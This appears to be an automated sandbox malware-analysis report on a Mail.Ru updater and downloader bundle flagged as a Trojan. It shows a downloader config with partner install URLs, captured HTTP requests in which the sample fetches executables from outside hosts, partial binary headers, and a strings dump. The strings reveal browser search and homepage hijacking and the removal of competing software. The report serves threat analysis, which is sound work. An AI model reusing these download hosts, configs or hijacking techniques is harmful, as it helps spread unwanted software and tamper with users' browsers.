<?xml version="1.0" encoding="utf-8"?>.. <file>.. <dltype>simple</dltype>.. <name><![CDATA[gravitaciya]]></name>.. <url><![CDATA[index.php?r=site/torrent&id=466]]></url>.. <partner_new_url><![CDATA[hXXp://horses.zetecportal.ru/install?guid=$__GUID&sig=$__SIG&hsig=$__HWSIG&file_id=301653297]]></partner_new_url>.. <partner_online_url><![CDATA[hXXp://horses.zetecportal.ru/coi?guid=$__GUID&sig=$__SIG&sid=15679&pid=9522]]></partner_online_url>.. <referer>profitraf7</referer>.. <internet></internet>.. <referer_inet>newcustom1</referer_inet>.. <internet_silent></internet_silent>.. <file_size><![CDATA[200000]]></file_size>.. <partner_new_url_inet><![CDATA[hXXp://horses.zetecportal.ru/install?guid=$__GUID&sig=$__SIG&hsig=$__HWSIG&ovr=$__OVR&file_id=301653297&browser=1]]></partner_new_url_inet>.. <mpcln><![CDATA[9516]]></mpcln>.. .. <homepage_search_only></homepage_search_only>.. <partner_hom

<<< skipped >>>

GET /update/2/version.txt?type=install&GUID={2863167C-DE4A-4FB6-9FB2-29EEA76B846C}&rfr=profitraf7&standalone=1&uacenabled=0&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&ver=2.7.3.79&praetorian=0&qipguard=0&comp_mem=511&tool_mem=5&uacpass=1 HTTP/1.1

Host: mrb.mail.ru

Accept: */*

User-Agent: FULLSTUFF

Connection: close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx/1.2.8

Date: Sun, 21 Sep 2014 14:02:46 GMT

Content-Type: text/html

Content-Length: 212

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx/1.2.8</center>..</body>..</html>....

GET /update/2/version.txt?type=dse&guid={2863167C-DE4A-4FB6-9FB2-29EEA76B846C}&sig=1047704865&br=ie&ovr=0&rfr=profitraf7&ovr_extid=&osver=xp&osbit=32&osvernum=5.1&ossp=ServicePack3&uac=0&ver=2.7.3.79&tool=sputnik&praetorian=0&qipguard=0&comp_mem=511&tool_mem=5 HTTP/1.1

Host: mrb.mail.ru

Accept: */*

User-Agent: sputnik_statistics

Connection: close

HTTP/1.1 503 Service Temporarily Unavailable

Server: nginx/1.2.8

Date: Sun, 21 Sep 2014 14:02:47 GMT

Content-Type: text/html

Content-Length: 212

Connection: close

<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body bgcolor="white">..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx/1.2.8</center>..</body>..</html>....

HEAD /AmigoDistrib.exe HTTP/1.1

Accept: */*

User-Agent: Downloader MLR 1.0.0

Host: amigobin.cdnmail.ru

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 21 Sep 2014 14:02:41 GMT

Content-Type: application/octet-stream

Content-Length: 49697312

Connection: keep-alive

Last-Modified: Mon, 25 Aug 2014 14:51:06 GMT

ETag: "53fb4d5a-2f65220"

Accept-Ranges: bytes

GET /AmigoDistrib.exe HTTP/1.1

Accept: */*

User-Agent: Downloader MLR 1.0.0

Host: amigobin.cdnmail.ru

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 21 Sep 2014 14:02:41 GMT

Content-Type: application/octet-stream

Content-Length: 49697312

Connection: keep-alive

Last-Modified: Mon, 25 Aug 2014 14:51:06 GMT

ETag: "53fb4d5a-2f65220"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........u.T.....................c7.......%.............................Rich............PE..L...<..S.................6...........8.......P....@..................................i......................................p?..x.......|............8.. ............................................................................................text....4.......6.................. ..`.data...$"...P......................@....rsrc...|............:..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................`D..PD..BD..0D...D.......@...@...@...A...A.."A..2A..BA..NA..ZA..fA..xA...A...A...A...A...A...A...A...A...B.."B...B..HB..`B...B...B...B...B...B...B...C...C..&C..<C..JC..`C..pC...C...C...C...C...C...C...D..rB.......D..~D.......D.......D..........<..S........M...............{.8.A.6.9.D.3.4.5.-.D.5.6.4.-.4.6.3.c.-.A.F.F.1.-.A.6.9.D.9.E.5.3.0.F.9.6.}.....{.F.D.A.7.1.E.6.F.-.A.C.4.C.-.4.a.0.0.-.8.B.7.0.-.9.9.5.8.A.6.8.9.0.6.B.F.}.....{.8.B.A.9.8.6.D.A.-.5.1.0.0.-.4.0.5.E.-.A.A.3.5.-.8.6.F.3.4.A.0.2.A.C.B

<<< skipped >>>

GET /dl/sqlite3.dll HTTP/1.1

User-Agent: tiny-dl/nx

Host: goog3estat.in

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Sun, 21 Sep 2014 14:02:45 GMT

Content-Type: application/octet-stream

Content-Length: 645592

Last-Modified: Sun, 13 Apr 2014 10:21:24 GMT

Connection: close

ETag: "534a6524-9d9d8"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..............@.0B/102.................X..............@..B/113.................Z..............@..B/124.................t..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

MailRuUpdater.exe_476:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

8%u,j

8%u,j

Mj.ht

Mj.ht

8sqliu

8sqliu

u u

u u

FTPSQR

FTPSQR

u.VWhT

u.VWhT

2 34 567

2 34 567

;%STUV

;%STUV

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

X

X

RegOpenKeyTransactedW

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

RegDeleteKeyTransactedW

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

C:\trunk\SputnikLib/reg_key.hpp

C:\trunk\SputnikLib/reg_key.hpp

C:\trunk\SputnikLib/process_enumerate.hpp

C:\trunk\SputnikLib/process_enumerate.hpp

C:\trunk\CommonFiles/Install_stat.h

C:\trunk\CommonFiles/Install_stat.h

path_name after converting %s

path_name after converting %s

path_name before converting %s

path_name before converting %s

boost::iequals( pEntry.szExeFile, process_name ) == true

boost::iequals( pEntry.szExeFile, process_name ) == true

mailru::sqlite_bind::column_string

mailru::sqlite_bind::column_string

C:\trunk\CommonFiles/sql_lite_bind.hpp

C:\trunk\CommonFiles/sql_lite_bind.hpp

mailru::sqlite_bind::column_blob

mailru::sqlite_bind::column_blob

mailru::sqlite_bind::column_byte_length

mailru::sqlite_bind::column_byte_length

mailru::sqlite_bind::column_blob_as_string

mailru::sqlite_bind::column_blob_as_string

..\CommonFiles\chromium_settings.cpp

..\CommonFiles\chromium_settings.cpp

chrome_url_overrides

chrome_url_overrides

hXXp://VVV.mail.ru

hXXp://VVV.mail.ru

hXXp://mail.ru

hXXp://mail.ru

yandex.ru

yandex.ru

hXXp://mail.ru/cnt/9824

hXXp://mail.ru/cnt/9824

chrome-extension://hcncjpganfocbfoenaemagjjopkkindp/visual-bookmarks.html

chrome-extension://hcncjpganfocbfoenaemagjjopkkindp/visual-bookmarks.html

C:\trunk\CommonFiles/file_util.h

C:\trunk\CommonFiles/file_util.h

template_url_data

template_url_data

mailru::chromium::settings::search_url

mailru::chromium::settings::search_url

go.mail.ru

go.mail.ru

mail.ru

mail.ru

urls_to_restore_on_startup

urls_to_restore_on_startup

startup_urls

startup_urls

suggest_url

suggest_url

search_url

search_url

alternate_urls

alternate_urls

originating_url

originating_url

instant_url_post_params

instant_url_post_params

instant_url

instant_url

image_url_post_params

image_url_post_params

image_url

image_url

favicon_url

favicon_url

hXXp://go.mail.ru/favicon.ico

hXXp://go.mail.ru/favicon.ico

search_url_post_params

search_url_post_params

search_terms_replacement_key

search_terms_replacement_key

D15371FE-C188-4E99-9841-A91F3BCBCCC3

D15371FE-C188-4E99-9841-A91F3BCBCCC3

keyword

keyword

windows-1251

windows-1251

suggestions_url_post_params

suggestions_url_post_params

suggestions_url

suggestions_url

@MAIL.RU

@MAIL.RU

.*yandex\.ru. clid.*

.*yandex\.ru. clid.*

^(chrome-extension://)?(\w{32})?/?

^(chrome-extension://)?(\w{32})?/?

hXXp://VVV.mail.ru/cnt/7861

hXXp://VVV.mail.ru/cnt/7861

hXXp://agent.mail.ru/ru/download/agent_windows/download.html?sputnik=1

hXXp://agent.mail.ru/ru/download/agent_windows/download.html?sputnik=1

hXXp://img.imgsmail.ru/r/agent/favicon.ico

hXXp://img.imgsmail.ru/r/agent/favicon.ico

hXXp://VVV.mail.ru/cnt/5087

hXXp://VVV.mail.ru/cnt/5087

2.5.3.136

2.5.3.136

hXXp://VVV.mail.ru/

hXXp://VVV.mail.ru/

hXXp://go.mail.ru/search?fr=fftb&q={SearchTerms}

hXXp://go.mail.ru/search?fr=fftb&q={SearchTerms}

hXXp://go.mail.ru/search?fr=fftb&q=

hXXp://go.mail.ru/search?fr=fftb&q=

hXXp://VVV.mail.ru/cnt/5089

hXXp://VVV.mail.ru/cnt/5089

hXXp://m.mail.ru/cgi-bin/splash?opera=1

hXXp://m.mail.ru/cgi-bin/splash?opera=1

hXXp://VVV.mail.ru/cnt/5090

hXXp://VVV.mail.ru/cnt/5090

hXXp://go.mail.ru/search?q=%s&utf8in=1&fr=oprtb

hXXp://go.mail.ru/search?q=%s&utf8in=1&fr=oprtb

@mail.ru

@mail.ru

hXXp://suggests.go.mail.ru/ff3?q={SearchTerm}

hXXp://suggests.go.mail.ru/ff3?q={SearchTerm}

hXXp://go.mail.ru/search_images?utf8in=1&q=%s&fr=oprtb

hXXp://go.mail.ru/search_images?utf8in=1&q=%s&fr=oprtb

hXXp://go.mail.ru/favicon_images.ico

hXXp://go.mail.ru/favicon_images.ico

hXXp://go.mail.ru/search_video?utf8in=1&q=%s&fr=oprtb

hXXp://go.mail.ru/search_video?utf8in=1&q=%s&fr=oprtb

hXXp://go.mail.ru/favicon_video.ico

hXXp://go.mail.ru/favicon_video.ico

hXXp://VVV.mail.ru/cnt/5091

hXXp://VVV.mail.ru/cnt/5091

hXXp://redir.opera.com/speeddials/mail.ru

hXXp://redir.opera.com/speeddials/mail.ru

hXXp://redir.opera.com/bookmarks/mail.ru

hXXp://redir.opera.com/bookmarks/mail.ru

hXXp://go.mail.ru/search?q=%s&fr=opr11

hXXp://go.mail.ru/search?q=%s&fr=opr11

hXXp://mail.ru/cnt/7993/

hXXp://mail.ru/cnt/7993/

hXXp://go.mail.ru/search?q={SearchTerms}&fr=chrome

hXXp://go.mail.ru/search?q={SearchTerms}&fr=chrome

hXXp://suggests.go.mail.ru/ff3?q={searchTerms}

hXXp://suggests.go.mail.ru/ff3?q={searchTerms}

hXXp://go.mail.ru/search?q={SearchTerms}&fr=mrch

hXXp://go.mail.ru/search?q={SearchTerms}&fr=mrch

hXXp://go.mail.ru/?pin=1

hXXp://go.mail.ru/?pin=1

hXXp://mail.ru/cnt/10226

hXXp://mail.ru/cnt/10226

..\CommonFiles\default_browser.cpp

..\CommonFiles\default_browser.cpp

mailru::default_browser::find_executable

mailru::default_browser::find_executable

..\CommonFiles\enemy_soft_checker.cpp

..\CommonFiles\enemy_soft_checker.cpp

ConverterIconsFromInternetToAmigo.cpp

ConverterIconsFromInternetToAmigo.cpp

C:\trunk\SputnikLib/one_instance.h

C:\trunk\SputnikLib/one_instance.h

mailru::reg_keyT::check

mailru::reg_keyT::check

mailru::reg_keyT::throw_on_error

mailru::reg_keyT::throw_on_error

InternetProtection.cpp

InternetProtection.cpp

chrome-extension://deejpmlbpbmjecdbfhafkcjeknpnpngh/visual-bookmarks.html

chrome-extension://deejpmlbpbmjecdbfhafkcjeknpnpngh/visual-bookmarks.html

Mail.Ru

Mail.Ru

hXXp://r.mail.ru/cln10322/odnoklassniki.ru

hXXp://r.mail.ru/cln10322/odnoklassniki.ru

cln10322/odnoklassniki.ru

cln10322/odnoklassniki.ru

mail.ru/cnt

mail.ru/cnt

@Mail.Ru

@Mail.Ru

hXXp://download.yandex.ru/bar/chrome/updates-translate.xml

hXXp://download.yandex.ru/bar/chrome/updates-translate.xml

hXXp://download.yandex.ru/bar/chrome/updates.xml

hXXp://download.yandex.ru/bar/chrome/updates.xml

hXXp://download.yandex.ru/bar/chrome/updates-vb.xml

hXXp://download.yandex.ru/bar/chrome/updates-vb.xml

update_url

update_url

c:\trunk\sputniklib\auto_handle.hpp

c:\trunk\sputniklib\auto_handle.hpp

c:\trunk\mailruupdater\concrete_update_task.hpp

c:\trunk\mailruupdater\concrete_update_task.hpp

Started with cmd line

Started with cmd line

main.cpp

main.cpp

C:\logging\MailRuUpdater.log

C:\logging\MailRuUpdater.log

hXXp://xml.binupdate.mail.ru/ext_settings.json

hXXp://xml.binupdate.mail.ru/ext_settings.json

replace_mail_extension.cpp

replace_mail_extension.cpp

c:\trunk\mailruupdater\SendBrowsersStatistic.h

c:\trunk\mailruupdater\SendBrowsersStatistic.h

updater::SendBrowsersStastic::BrowserData::getDSEurl

updater::SendBrowsersStastic::BrowserData::getDSEurl

updater::SendBrowsersStastic::BrowserData::getDSEurl

updater::SendBrowsersStastic::BrowserData::getDSEurl

mailru::sqlite_bind::column_int64

mailru::sqlite_bind::column_int64

SendBrowsersStatistic.cpp

SendBrowsersStatistic.cpp

asio.misc

asio.misc

C:\trunk\3party\boost-1.49\boost/exception/detail/exception_ptr.hpp

C:\trunk\3party\boost-1.49\boost/exception/detail/exception_ptr.hpp

asio.misc error

asio.misc error

C:\trunk\3party\ticpp/ticpp.h

C:\trunk\3party\ticpp/ticpp.h

cmd_line

cmd_line

md5 fetch url

md5 fetch url

Program fetch url

Program fetch url

fetch_url

fetch_url

update_info.cpp

update_info.cpp

util.cpp

util.cpp

YandexRemover.cpp

YandexRemover.cpp

Can't terminate a sub-expression with an alternation operator |.

Can't terminate a sub-expression with an alternation operator |.

A regular expression can start with the alternation operator |.

A regular expression can start with the alternation operator |.

Alternation operators are not allowed inside a DEFINE block.

Alternation operators are not allowed inside a DEFINE block.

More than one alternation operator | was encountered inside a conditional expression.

More than one alternation operator | was encountered inside a conditional expression.

A repetition operator cannot be applied to a zero-width assertion.

A repetition operator cannot be applied to a zero-width assertion.

Invalid alternation operators within (?...) block.

Invalid alternation operators within (?...) block.

The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.

The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.

Found a closing repetition operator } with no corresponding {.

Found a closing repetition operator } with no corresponding {.

The repeat operator " " cannot start a regular expression.

The repeat operator " " cannot start a regular expression.

The repeat operator "?" cannot start a regular expression.

The repeat operator "?" cannot start a regular expression.

The repeat operator "*" cannot start a regular expression.

The repeat operator "*" cannot start a regular expression.

right-curly-bracket

right-curly-bracket

left-curly-bracket

left-curly-bracket

0123456789

0123456789

Unmatched quantified repeat operator { or \{.

Unmatched quantified repeat operator { or \{.

Invalid preceding regular expression prior to repetition operator.

Invalid preceding regular expression prior to repetition operator.

Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag

Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag

sqlite.cpp

sqlite.cpp

mailru::sqlite::database::database

mailru::sqlite::database::database

mailru::logging::execution_time_logger::~execution_time_logger

mailru::logging::execution_time_logger::~execution_time_logger

logger.cpp

logger.cpp

HTTP/1.1

HTTP/1.1

c:\trunk\sputniklib\http_downloader.h

c:\trunk\sputniklib\http_downloader.h

mailru::http::request_headers::get_header

mailru::http::request_headers::get_header

thread.exit_event

thread.exit_event

thread.entry_event

thread.entry_event

127.0.0.1

127.0.0.1

mailru::http::response_headers::get_file_time

mailru::http::response_headers::get_file_time

mailru::http::response_headers::response_headers

mailru::http::response_headers::response_headers

^HTTP/1.1 (\d ) (. )

^HTTP/1.1 (\d ) (. )

http_downloader.cpp

http_downloader.cpp

mailru::http::downloader_impl::handle_read_headers

mailru::http::downloader_impl::handle_read_headers

mailru::http::downloader_impl::connection_data_file::~connection_data_file

mailru::http::downloader_impl::connection_data_file::~connection_data_file

mailru::http::downloader::fetch_file_attributes

mailru::http::downloader::fetch_file_attributes

HTTP error %2%: %3%

HTTP error %2%: %3%

mailru::http::fetch_wstring_via_tempfile

mailru::http::fetch_wstring_via_tempfile

Path.cpp

Path.cpp

[%d][%d][d.d d:d:d]

[%d][%d][d.d d:d:d]

"#%{}|\^~[] ?&@=:,

"#%{}|\^~[] ?&@=:,

hXXps://

hXXps://

hXXp://

hXXp://

unzip.cpp

unzip.cpp

version_info.cpp

version_info.cpp

Resource.cpp

Resource.cpp

process_util.cpp

process_util.cpp

shortcut.cpp

shortcut.cpp

is_admin.cpp

is_admin.cpp

url_parser.cpp

url_parser.cpp

mailru::url_parser::init

mailru::url_parser::init

Line %d, Column %d

Line %d, Column %d

large file support is disabled

large file support is disabled

unknown operation

unknown operation

SQL logic error or missing database

SQL logic error or missing database

foreign_keys

foreign_keys

sqlite_compileoption_get

sqlite_compileoption_get

sqlite_compileoption_used

sqlite_compileoption_used

sqlite_log

sqlite_log

sqlite_source_id

sqlite_source_id

sqlite_version

sqlite_version

sqlite_attach

sqlite_attach

sqlite_detach

sqlite_detach

sqlite_stat1

sqlite_stat1

sqlite_rename_parent

sqlite_rename_parent

sqlite_rename_trigger

sqlite_rename_trigger

sqlite_rename_table

sqlite_rename_table

RowKey

RowKey

3.7.11

3.7.11

SQLite format 3

SQLite format 3

CREATE TABLE sqlite_master(

CREATE TABLE sqlite_master(

sql text

sql text

CREATE TEMP TABLE sqlite_temp_master(

CREATE TEMP TABLE sqlite_temp_master(

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY

922337203685477580

922337203685477580

SQLITE_

SQLITE_

?API call with %s database connection pointer

?API call with %s database connection pointer

OsError 0x%x (%u)

OsError 0x%x (%u)

os_win.c:%d: (%d) %s(%s) - %s

os_win.c:%d: (%d) %s(%s) - %s

delayed %dms for lock/sharing conflict

delayed %dms for lock/sharing conflict

%s\etilqs_

%s\etilqs_

cannot limit WAL size: %s

cannot limit WAL size: %s

2nd reference to page %d

2nd reference to page %d

invalid page number %d

invalid page number %d

%s(%d)

%s(%d)

keyinfo(%d

keyinfo(%d

%r %s BY term out of range - should be between 1 and %d

%r %s BY term out of range - should be between 1 and %d

Expression tree is too large (maximum depth %d)

Expression tree is too large (maximum depth %d)

too many SQL variables

too many SQL variables

variable number must be between ?1 and ?%d

variable number must be between ?1 and ?%d

too many columns in %s

too many columns in %s

%s OR name=%Q

%s OR name=%Q

type='trigger' AND (%s)

type='trigger' AND (%s)

table %s may not be altered

table %s may not be altered

sqlite_

sqlite_

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

access to %s.%s.%s is prohibited

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

object name reserved for internal use: %s

duplicate column name: %s

duplicate column name: %s

too many columns on %s

too many columns on %s

DELETE FROM %Q.%s WHERE %s=%Q

DELETE FROM %Q.%s WHERE %s=%Q

sqlite_stat%d

sqlite_stat%d

unknown column "%s" in foreign key definition

unknown column "%s" in foreign key definition

number of columns in foreign key does not match the number of columns in the referenced table

number of columns in foreign key does not match the number of columns in the referenced table

foreign key on %s should reference only one column of table %T

foreign key on %s should reference only one column of table %T

a JOIN clause is required before %s

a JOIN clause is required before %s

cannot modify %s because it is a view

cannot modify %s because it is a view

table %s may not be modified

table %s may not be modified

foreign key mismatch

foreign key mismatch

error during initialization: %s

error during initialization: %s

no entry point [%s] in shared library [%s]

no entry point [%s] in shared library [%s]

unable to open shared library [%s]

unable to open shared library [%s]

sqlite3_extension_init

sqlite3_extension_init

unknown or unsupported join type: %T %T%s%T

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

RIGHT and FULL OUTER JOINs are not currently supported

USE TEMP B-TREE FOR %s

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s:%d

%s:%d

no such index: %s

no such index: %s

SCAN TABLE %s %s%s(~%d rows)

SCAN TABLE %s %s%s(~%d rows)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

sqlite_master

sqlite_master

sqlite_temp_master

sqlite_temp_master

vtable constructor did not declare schema: %s

vtable constructor did not declare schema: %s

vtable constructor failed: %s

vtable constructor failed: %s

no such module: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

table %s: xBestIndex returned an invalid plan

%s (~%lld rows)

%s (~%lld rows)

%s VIRTUAL TABLE INDEX %d:%s

%s VIRTUAL TABLE INDEX %d:%s

%s (rowid)

%s (rowid)

%s (rowid>?)

%s (rowid>?)

%s (rowid>? AND rowid)

%s (rowid>? AND rowid)

%s (rowid=?)

%s (rowid=?)

%s USING INTEGER PRIMARY KEY

%s USING INTEGER PRIMARY KEY

%s USING %s%sINDEX%s%s%s

%s USING %s%sINDEX%s%s%s

%s AS %s

%s AS %s

%s TABLE %s

%s TABLE %s

%s SUBQUERY %d

%s SUBQUERY %d

database corruption at line %d of [%.10s]

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

cannot open file at line %d of [%.10s]

failed to allocate %u bytes of memory

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

failed memory resize %u to %u bytes

foreign key constraint failed

foreign key constraint failed

unable to use function %s in the requested context

unable to use function %s in the requested context

zeroblob(%d)

zeroblob(%d)

CREATE TABLE %Q.%s(%s)

CREATE TABLE %Q.%s(%s)

%s %T cannot reference objects in database %s

%s %T cannot reference objects in database %s

default value of column [%s] is not constant

default value of column [%s] is not constant

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

no such collation sequence: %s

no such collation sequence: %s

%s - %s

%s - %s

malformed database schema (%s)

malformed database schema (%s)

cannot join using column %s - column not present in both tables

cannot join using column %s - column not present in both tables

cannot have both ON and USING clauses in the same join

cannot have both ON and USING clauses in the same join

a NATURAL join may not have an ON or USING clause

a NATURAL join may not have an ON or USING clause

%s.%s

%s.%s

bind on a busy prepared statement: [%s]

bind on a busy prepared statement: [%s]

%s: %s

%s: %s

%s: %s.%s

%s: %s.%s

%s: %s.%s.%s

%s: %s.%s.%s

misuse of aliased aggregate %s

misuse of aliased aggregate %s

not authorized to use function: %s

not authorized to use function: %s

too many terms in %s BY clause

too many terms in %s BY clause

EXECUTE %s%s SUBQUERY %d

EXECUTE %s%s SUBQUERY %d

%.*s"%w"%s

%.*s"%w"%s

%s%.*s"%w"

%s%.*s"%w"

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

Cannot add a PRIMARY KEY column

Cannot add a PRIMARY KEY column

invalid name: "%s"

invalid name: "%s"

automatic extension loading failed: %s

automatic extension loading failed: %s